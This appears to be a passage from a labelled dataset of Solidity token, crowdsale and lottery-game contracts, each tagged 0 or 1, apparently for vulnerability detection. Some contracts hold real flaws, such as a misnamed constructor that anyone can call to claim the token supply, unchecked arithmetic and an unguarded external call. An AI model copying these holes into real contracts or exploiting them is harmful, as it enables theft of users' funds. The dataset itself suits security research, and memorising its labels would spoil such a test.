uint256 highestAmount = 0;
for(uint256 i=0; i<_tranches.length/2; i++) {
tranches[i].amount = _tranches[i*2];
tranches[i].price = _tranches[i*2+1];
require(!((highestAmount != 0) && (tranches[i].amount <= highestAmount)));
highestAmount = tranches[i].amount;
}
require(tranches[0].amount == 0);
require(tranches[trancheCount-1].price == 0);
}
function setPreicoAddress(address preicoAddress, uint pricePerToken)
public
onlyOwner
{
preicoAddresses[preicoAddress] = pricePerToken;
}
function getTranche(uint256 n) public constant returns (uint, uint) {
return (tranches[n].amount, tranches[n].price);
}
function getFirstTranche() private constant returns (Tranche) {
return tranches[0];
}
function getLastTranche() private constant returns (Tranche) {
return tranches[trancheCount-1];
}
function getPricingStartsAt() public constant returns (uint) {
return getFirstTranche().amount;
}
function getPricingEndsAt() public constant returns (uint) {
return getLastTranche().amount;
}
function isSane(address _crowdsale) public view returns(bool) {
return true;
}
function getCurrentTranche(uint256 weiRaised) private constant returns (Tranche) {
uint i;
for(i=0; i < tranches.length; i++) {
if(weiRaised < tranches[i].amount) {
return tranches[i-1];
}
}
}
function getCurrentPrice(uint256 weiRaised) public constant returns (uint256 result) {
return getCurrentTranche(weiRaised).price;
}
function calculatePrice(uint256 value, uint256 weiRaised, uint256 tokensSold, address msgSender, uint256 decimals) public constant returns (uint256) {
uint256 multiplier = 10 ** decimals;
if(preicoAddresses[msgSender] > 0) {
return safeMul(value, multiplier) / preicoAddresses[msgSender];
}
uint256 price = getCurrentPrice(weiRaised);
return safeMul(value, multiplier) / price;
}
function() payable public {
revert();
}
} | 0 |
pragma solidity ^0.4.25 ;
contract VOCC_I050_20181211 {
mapping (address => uint256) public balanceOf;
string public name = " VOCC_I050_20181211 " ;
string public symbol = " VOCC_I050_20181211_subDT " ;
uint8 public decimals = 18 ;
uint256 public totalSupply = 19800000000000000000000000 ;
event Transfer(address indexed from, address indexed to, uint256 value);
function SimpleERC20Token() public {
balanceOf[msg.sender] = totalSupply;
emit Transfer(address(0), msg.sender, totalSupply);
}
function transfer(address to, uint256 value) public returns (bool success) {
require(balanceOf[msg.sender] >= value);
balanceOf[msg.sender] -= value;
balanceOf[to] += value;
emit Transfer(msg.sender, to, value);
return true;
}
event Approval(address indexed owner, address indexed spender, uint256 value);
mapping(address => mapping(address => uint256)) public allowance;
function approve(address spender, uint256 value)
public
returns (bool success)
{
allowance[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
function transferFrom(address from, address to, uint256 value)
public
returns (bool success)
{
require(value <= balanceOf[from]);
require(value <= allowance[from][msg.sender]);
balanceOf[from] -= value;
balanceOf[to] += value;
allowance[from][msg.sender] -= value;
emit Transfer(from, to, value);
return true;
}
} | 1 |
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20 {
string public NAME;
string public SYMBOL;
uint8 public DECIMALS = 18;
uint private TOTALSUPPLY;
mapping(address => uint256) balances;
mapping(address => mapping (address => uint256)) allowed;
function totalSupply() public constant returns (uint256 _totalSupply);
function balanceOf(address _owner) public constant returns (uint256 balance);
function transfer(address _to, uint256 _value) public returns (bool success);
function approve(address _spender, uint256 _value) public returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
function allowance(address _owner, address _spender) public constant returns (uint256 remaining);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract Bitcub is Ownable, ERC20 {
using SafeMath for uint256;
string public constant NAME = "Bitcub";
string public constant SYMBOL = "BCU";
uint8 public constant DECIMALS = 18;
uint private constant TOTALSUPPLY = 500000000*(10**18);
mapping(address => uint256) balances;
mapping(address => mapping (address => uint256)) allowed;
constructor() public {
Ownable(msg.sender);
balances[0xaf0A558783E92a1aEC9dd2D10f2Dc9b9AF371212] = 150000000*(10**18);
emit Transfer(address(0), 0xaf0A558783E92a1aEC9dd2D10f2Dc9b9AF371212, 150000000*(10**18));
balances[msg.sender] = TOTALSUPPLY.sub(150000000*(10**18));
emit Transfer(address(0), msg.sender, TOTALSUPPLY.sub(150000000*(10**18)));
}
function totalSupply() public constant returns (uint256 _totalSupply) {
_totalSupply = TOTALSUPPLY;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
function transfer(address _to, uint256 _value) public returns (bool success) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
require(_value>0);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
}
contract BitcubCrowdsale is Ownable {
using SafeMath for uint256;
Bitcub public token;
uint256 remainingTokens = 350000000 *(10**18);
uint256 public startTime;
uint256 public endTime;
uint256 public tier1Start;
uint256 public tier1End;
uint256 public tier2Start;
uint256 public tier2End;
address public etherWallet;
address public tokenWallet;
uint256 public rate = 100;
uint256 public weiRaised;
uint256 public minPurchaseInEth = 0.01 ether;
uint256 public maxInvestment = 250000 ether;
mapping (address => uint256) internal invested;
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
constructor() public {
startTime = now ;
tier1Start = startTime ;
tier1End = 1528416000 ;
tier2Start = tier1End;
tier2End = 1532131200 ;
endTime = 1538265600 ;
etherWallet = 0xaf0A558783E92a1aEC9dd2D10f2Dc9b9AF371212;
tokenWallet = 0xaf0A558783E92a1aEC9dd2D10f2Dc9b9AF371212;
require(startTime >= now);
require(endTime >= startTime);
require(etherWallet != address(0));
Ownable(msg.sender);
token = createTokenContract();
}
function createTokenContract() internal returns (Bitcub) {
return new Bitcub();
}
function () external payable {
buyTokens(msg.sender);
}
function finalizeCrowdsale() public onlyOwner returns (bool) {
require(hasEnded());
require(token.transfer(tokenWallet, remainingTokens));
return true;
}
function buyTokens(address beneficiary) public payable {
require(beneficiary != address(0));
require(validPurchase(beneficiary));
uint256 weiAmount = msg.value;
uint256 tokens = getTokenAmount(weiAmount);
require(weiAmount >= minPurchaseInEth);
require(token.transfer(beneficiary, tokens));
weiRaised = weiRaised.add(weiAmount);
remainingTokens = remainingTokens.sub(tokens);
invested[beneficiary] = invested[beneficiary].add(msg.value);
emit TokenPurchase(msg.sender, beneficiary, weiAmount, tokens);
forwardFunds();
}
function hasEnded() public view returns (bool) {
return now > endTime;
}
function getTokenAmount(uint256 weiAmount) internal returns(uint256) {
if (now>=tier1Start && now < tier1End) {
rate = 120;
}else if (now>=tier2Start && now < tier2End) {
rate = 110;
}else {
rate = 100;
}
return weiAmount.mul(rate);
}
function forwardFunds() internal {
etherWallet.transfer(msg.value);
}
function validPurchase(address beneficiary) internal view returns (bool) {
bool withinPeriod = now >= startTime && now <= endTime;
bool nonZeroPurchase = msg.value != 0;
bool withinMaxInvestment = ( invested[beneficiary].add(msg.value) <= maxInvestment );
return withinPeriod && nonZeroPurchase && withinMaxInvestment;
}
} | 0 |
pragma solidity ^0.4.4;
contract Token {
function totalSupply() constant returns (uint256 supply) {}
function balanceOf(address _owner) constant returns (uint256 balance) {}
function transfer(address _to, uint256 _value) returns (bool success) {}
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {}
function approve(address _spender, uint256 _value) returns (bool success) {}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {}
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract StandardToken is Token {
function transfer(address _to, uint256 _value) returns (bool success) {
if (balances[msg.sender] >= _value && _value > 0) {
balances[msg.sender] -= _value;
balances[_to] += _value;
Transfer(msg.sender, _to, _value);
return true;
} else { return false; }
}
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {
if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) {
balances[_to] += _value;
balances[_from] -= _value;
allowed[_from][msg.sender] -= _value;
Transfer(_from, _to, _value);
return true;
} else { return false; }
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
function approve(address _spender, uint256 _value) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
uint256 public totalSupply;
}
contract RedenominnasiRupiah is StandardToken {
string public name;
uint8 public decimals;
string public symbol;
string public version = 'H1.0';
uint256 public unitsOneEthCanBuy;
uint256 public totalEthInWei;
address public fundsWallet;
function RedenominnasiRupiah() {
balances[msg.sender] = 111888111888000000000000000000;
totalSupply = 111888111888000000000000000000;
name = "RedenominnasiRupiah";
decimals = 18;
symbol = "RDRP";
unitsOneEthCanBuy = 58400;
fundsWallet = msg.sender;
}
function() payable{
totalEthInWei = totalEthInWei + msg.value;
uint256 amount = msg.value * unitsOneEthCanBuy;
require(balances[fundsWallet] >= amount);
balances[fundsWallet] = balances[fundsWallet] - amount;
balances[msg.sender] = balances[msg.sender] + amount;
Transfer(fundsWallet, msg.sender, amount);
fundsWallet.transfer(msg.value);
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
if(!_spender.call(bytes4(bytes32(sha3("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData)) { throw; }
return true;
}
} | 1 |
pragma solidity ^0.4.24;
contract Owned {
address public owner;
address public newOwner;
constructor()
public
{
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
owner = newOwner;
newOwner = address(0);
}
}
contract LOLevents {
event onNewName
(
uint256 indexed playerID,
address indexed playerAddress,
bytes32 indexed playerName,
bool isNewPlayer,
uint256 affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 amountPaid,
uint256 timeStamp
);
event onEndTx
(
uint256 compressedData,
uint256 compressedIDs,
bytes32 playerName,
address playerAddress,
uint256 ethIn,
uint256 keysBought,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount,
uint256 potAmount,
uint256 airDropPot
);
event onWithdraw
(
uint256 indexed playerID,
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 timeStamp
);
event onWithdrawAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onBuyAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethIn,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onReLoadAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onAffiliatePayout
(
uint256 indexed affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 indexed roundID,
uint256 indexed buyerID,
uint256 amount,
uint256 timeStamp
);
event onPotSwapDeposit
(
uint256 roundID,
uint256 amountAddedToPot
);
}
contract modularLong is LOLevents {}
contract LOLlong is modularLong,Owned {
using SafeMath for *;
using NameFilter for string;
using LOLKeysCalcLong for uint256;
LOLOfficalBankInterface constant private lol_offical_bank = LOLOfficalBankInterface(0xF66E2D098D85b803D5ae710008fCc876c8656fFd);
LOLPlayerBookInterface constant private PlayerBook = LOLPlayerBookInterface(0xb9Db77600A611c1DfC923c2c8b513cB1Fc4Fe113);
string constant public name = "LOL Official";
string constant public symbol = "LOL";
uint256 private rndExtra_ = 1 hours;
uint256 private rndGap_ = 24 hours;
uint256 constant private rndInit_ = 1 hours;
uint256 constant private rndInc_ = 30 seconds;
uint256 constant private rndMax_ = 24 hours;
uint256 public airDropPot_;
uint256 public airDropTracker_ = 0;
uint256 public rID_;
mapping (address => uint256) public pIDxAddr_;
mapping (bytes32 => uint256) public pIDxName_;
mapping (uint256 => LOLdatasets.Player) public plyr_;
mapping (uint256 => mapping (uint256 => LOLdatasets.PlayerRounds)) public plyrRnds_;
mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_;
mapping (uint256 => LOLdatasets.Round) public round_;
mapping (uint256 => mapping(uint256 => uint256)) public rndTmEth_;
mapping (uint256 => LOLdatasets.TeamFee) public fees_;
mapping (uint256 => LOLdatasets.PotSplit) public potSplit_;
constructor()
public
{
fees_[0] = LOLdatasets.TeamFee(36,0);
fees_[1] = LOLdatasets.TeamFee(43,0);
fees_[2] = LOLdatasets.TeamFee(66,0);
fees_[3] = LOLdatasets.TeamFee(51,0);
potSplit_[0] = LOLdatasets.PotSplit(25,0);
potSplit_[1] = LOLdatasets.PotSplit(25,0);
potSplit_[2] = LOLdatasets.PotSplit(40,0);
potSplit_[3] = LOLdatasets.PotSplit(40,0);
}
modifier isActivated() {
require(activated_ == true, "its not ready yet. check ?eta in discord");
_;
}
modifier isHuman() {
address _addr = msg.sender;
uint256 _codeLength;
assembly {_codeLength := extcodesize(_addr)}
require(_codeLength == 0, "sorry humans only");
_;
}
modifier isWithinLimits(uint256 _eth) {
require(_eth >= 1000000000, "pocket lint: not a valid currency");
require(_eth <= 100000000000000000000000, "no vitalik, no");
_;
}
function()
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
LOLdatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
buyCore(_pID, plyr_[_pID].laff, 2, _eventData_);
}
function buyXid(uint256 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
LOLdatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
_team = verifyTeam(_team);
buyCore(_pID, _affCode, _team, _eventData_);
}
function buyXaddr(address _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
LOLdatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
buyCore(_pID, _affID, _team, _eventData_);
}
function buyXname(bytes32 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
LOLdatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
buyCore(_pID, _affID, _team, _eventData_);
}
function reLoadXid(uint256 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
LOLdatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affCode, _team, _eth, _eventData_);
}
function reLoadXaddr(address _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
LOLdatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
function reLoadXname(bytes32 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
LOLdatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
function withdraw()
isActivated()
isHuman()
public
{
uint256 _rID = rID_;
uint256 _now = now;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _eth;
if (_now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
LOLdatasets.EventReturns memory _eventData_;
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit LOLevents.onWithdrawAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eth,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
} else {
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
emit LOLevents.onWithdraw(_pID, msg.sender, plyr_[_pID].name, _eth, _now);
}
}
function registerNameXID(string _nameString, uint256 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXIDFromDapp.value(_paid)(_addr, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit LOLevents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXaddr(string _nameString, address _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXaddrFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit LOLevents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXname(string _nameString, bytes32 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXnameFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit LOLevents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function getBuyPrice()
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(1000000000000000000)).ethRec(1000000000000000000) );
else
return ( 75000000000000 );
}
function getTimeLeft()
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now < round_[_rID].end)
if (_now > round_[_rID].strt + rndGap_)
return( (round_[_rID].end).sub(_now) );
else
return( (round_[_rID].strt + rndGap_).sub(_now) );
else
return(0);
}
function getPlayerVaults(uint256 _pID)
public
view
returns(uint256 ,uint256, uint256)
{
uint256 _rID = rID_;
if (now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
if (round_[_rID].plyr == _pID)
{
return
(
(plyr_[_pID].win).add( ((round_[_rID].pot).mul(48)) / 100 ),
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
}
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff
);
}
}
function getPlayerVaultsHelper(uint256 _pID, uint256 _rID)
private
view
returns(uint256)
{
return( ((((round_[_rID].mask).add(((((round_[_rID].pot).mul(potSplit_[round_[_rID].team].gen)) / 100).mul(1000000000000000000)) / (round_[_rID].keys))).mul(plyrRnds_[_pID][_rID].keys)) / 1000000000000000000) );
}
function getCurrentRoundInfo()
public
view
returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256, address, bytes32, uint256, uint256, uint256, uint256, uint256)
{
uint256 _rID = rID_;
return
(
round_[_rID].ico,
_rID,
round_[_rID].keys,
round_[_rID].end,
round_[_rID].strt,
round_[_rID].pot,
(round_[_rID].team + (round_[_rID].plyr * 10)),
plyr_[round_[_rID].plyr].addr,
plyr_[round_[_rID].plyr].name,
rndTmEth_[_rID][0],
rndTmEth_[_rID][1],
rndTmEth_[_rID][2],
rndTmEth_[_rID][3],
airDropTracker_ + (airDropPot_ * 1000)
);
}
function getPlayerInfoByAddress(address _addr)
public
view
returns(uint256, bytes32, uint256, uint256, uint256, uint256, uint256)
{
uint256 _rID = rID_;
if (_addr == address(0))
{
_addr == msg.sender;
}
uint256 _pID = pIDxAddr_[_addr];
return
(
_pID,
plyr_[_pID].name,
plyrRnds_[_pID][_rID].keys,
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff,
plyrRnds_[_pID][_rID].eth
);
}
function buyCore(uint256 _pID, uint256 _affID, uint256 _team, LOLdatasets.EventReturns memory _eventData_)
private
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
core(_rID, _pID, msg.value, _affID, _team, _eventData_);
} else {
if (_now > round_[_rID].end && round_[_rID].ended == false)
{
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit LOLevents.onBuyAndDistribute
(
msg.sender,
plyr_[_pID].name,
msg.value,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
}
plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value);
}
}
function reLoadCore(uint256 _pID, uint256 _affID, uint256 _team, uint256 _eth, LOLdatasets.EventReturns memory _eventData_)
private
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
plyr_[_pID].gen = withdrawEarnings(_pID).sub(_eth);
core(_rID, _pID, _eth, _affID, _team, _eventData_);
} else if (_now > round_[_rID].end && round_[_rID].ended == false) {
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit LOLevents.onReLoadAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
}
}
function core(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, LOLdatasets.EventReturns memory _eventData_)
private
{
if (plyrRnds_[_pID][_rID].keys == 0)
_eventData_ = managePlayer(_pID, _eventData_);
if (_eth > 1000000000)
{
uint256 _keys = (round_[_rID].eth).keysRec(_eth);
if (_keys >= 1000000000000000000)
{
updateTimer(_keys, _rID);
if (round_[_rID].plyr != _pID)
round_[_rID].plyr = _pID;
if (round_[_rID].team != _team)
round_[_rID].team = _team;
_eventData_.compressedData = _eventData_.compressedData + 100;
}
if (_eth >= 100000000000000000)
{
airDropTracker_++;
if (airdrop() == true)
{
uint256 _prize;
if (_eth >= 10000000000000000000)
{
_prize = ((airDropPot_).mul(75)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 300000000000000000000000000000000;
} else if (_eth >= 1000000000000000000 && _eth < 10000000000000000000) {
_prize = ((airDropPot_).mul(50)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 200000000000000000000000000000000;
} else if (_eth >= 100000000000000000 && _eth < 1000000000000000000) {
_prize = ((airDropPot_).mul(25)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 300000000000000000000000000000000;
}
_eventData_.compressedData += 10000000000000000000000000000000;
_eventData_.compressedData += _prize * 1000000000000000000000000000000000;
airDropTracker_ = 0;
}
}
_eventData_.compressedData = _eventData_.compressedData + (airDropTracker_ * 1000);
plyrRnds_[_pID][_rID].keys = _keys.add(plyrRnds_[_pID][_rID].keys);
plyrRnds_[_pID][_rID].eth = _eth.add(plyrRnds_[_pID][_rID].eth);
round_[_rID].keys = _keys.add(round_[_rID].keys);
round_[_rID].eth = _eth.add(round_[_rID].eth);
rndTmEth_[_rID][_team] = _eth.add(rndTmEth_[_rID][_team]);
_eventData_ = distributeExternal(_rID, _pID, _eth, _affID, _team, _eventData_);
_eventData_ = distributeInternal(_rID, _pID, _eth, _team, _keys, _eventData_);
endTx(_pID, _team, _eth, _keys, _eventData_);
}
}
function calcUnMaskedEarnings(uint256 _pID, uint256 _rIDlast)
private
view
returns(uint256)
{
return( (((round_[_rIDlast].mask).mul(plyrRnds_[_pID][_rIDlast].keys)) / (1000000000000000000)).sub(plyrRnds_[_pID][_rIDlast].mask) );
}
function calcKeysReceived(uint256 _rID, uint256 _eth)
public
view
returns(uint256)
{
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].eth).keysRec(_eth) );
else
return ( (_eth).keys() );
}
function iWantXKeys(uint256 _keys)
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(_keys)).ethRec(_keys) );
else
return ( (_keys).eth() );
}
function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff)
external
{
require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm..");
if (pIDxAddr_[_addr] != _pID)
pIDxAddr_[_addr] = _pID;
if (pIDxName_[_name] != _pID)
pIDxName_[_name] = _pID;
if (plyr_[_pID].addr != _addr)
plyr_[_pID].addr = _addr;
if (plyr_[_pID].name != _name)
plyr_[_pID].name = _name;
if (plyr_[_pID].laff != _laff)
